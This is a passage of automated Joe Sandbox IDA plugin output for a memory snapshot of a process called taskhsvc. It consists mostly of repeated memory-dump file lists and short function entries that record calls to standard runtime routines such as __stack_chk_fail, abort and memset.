Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 001F15D5, Relevance: 1.5, APIs: 1, Instructions: 42

APIs

Part of subcall function 001E5B8F: atoi.MSVCRT ref: 001E5DE7
Part of subcall function 001E5B8F: abort.MSVCRT ref: 001E5F86
Part of subcall function 001E5B8F: __stack_chk_fail.LIBSSP-0 ref: 001E5FE0

__stack_chk_fail.LIBSSP-0 ref: 001F1652

Memory Dump Source

Source File: 00000013.00000002.1855040395.001CA000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 0024E0F2, Relevance: 1.5, APIs: 1, Instructions: 41

APIs

__stack_chk_fail.LIBSSP-0 ref: 0024E175

Part of subcall function 00319B0B: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,003145AC), ref: 00319B69

Part of subcall function 00319D53: __stack_chk_fail.LIBSSP-0 ref: 00319DB3

Part of subcall function 00237466: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,002C0313), ref: 00237491

Memory Dump Source

Source File: 00000013.00000002.1855104216.00230000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 00313842, Relevance: 1.5, APIs: 1, Instructions: 39

APIs

__stack_chk_fail.LIBSSP-0 ref: 003138B7

Part of subcall function 00312E50: abort.MSVCRT ref: 00312F7F
Part of subcall function 00312E50: abort.MSVCRT ref: 003131E3
Part of subcall function 00312E50: __stack_chk_fail.LIBSSP-0 ref: 00313200

Memory Dump Source

Source File: 00000013.00000002.1855329417.002DC000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 00319D53, Relevance: 1.5, APIs: 1, Instructions: 38

APIs

Part of subcall function 00319C41: abort.MSVCRT ref: 00319C9A
Part of subcall function 00319C41: memset.MSVCRT ref: 00319D32
Part of subcall function 00319C41: __stack_chk_fail.LIBSSP-0 ref: 00319D4C

__stack_chk_fail.LIBSSP-0 ref: 00319DB3

Memory Dump Source

Source File: 00000013.00000002.1855329417.002DC000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 002F2194, Relevance: 1.5, APIs: 1, Instructions: 36

APIs

__stack_chk_fail.LIBSSP-0 ref: 002F2219

Part of subcall function 00313842: __stack_chk_fail.LIBSSP-0 ref: 003138B7

Memory Dump Source

Source File: 00000013.00000002.1855329417.002DC000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 00326769, Relevance: 1.5, APIs: 1, Instructions: 36

APIs

Part of subcall function 003265E9: strerror.MSVCRT ref: 003266A8
Part of subcall function 003265E9: abort.MSVCRT ref: 00326730
Part of subcall function 003265E9: __stack_chk_fail.LIBSSP-0 ref: 00326762

__stack_chk_fail.LIBSSP-0 ref: 003267D4

Memory Dump Source

Source File: 00000013.00000002.1855329417.002DC000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 001C4AF9, Relevance: 1.5, APIs: 1, Instructions: 36

APIs

Part of subcall function 002B3B52: __stack_chk_fail.LIBSSP-0 ref: 002B3C6E

__stack_chk_fail.LIBSSP-0 ref: 001C4B69

Memory Dump Source

Source File: 00000013.00000002.1855013399.001C1000.00000020.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 00313207, Relevance: 1.5, APIs: 1, Instructions: 36

APIs

__stack_chk_fail.LIBSSP-0 ref: 00313277

Part of subcall function 00312E50: abort.MSVCRT ref: 00312F7F
Part of subcall function 00312E50: abort.MSVCRT ref: 003131E3
Part of subcall function 00312E50: __stack_chk_fail.LIBSSP-0 ref: 00313200

Memory Dump Source

Source File: 00000013.00000002.1855329417.002DC000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
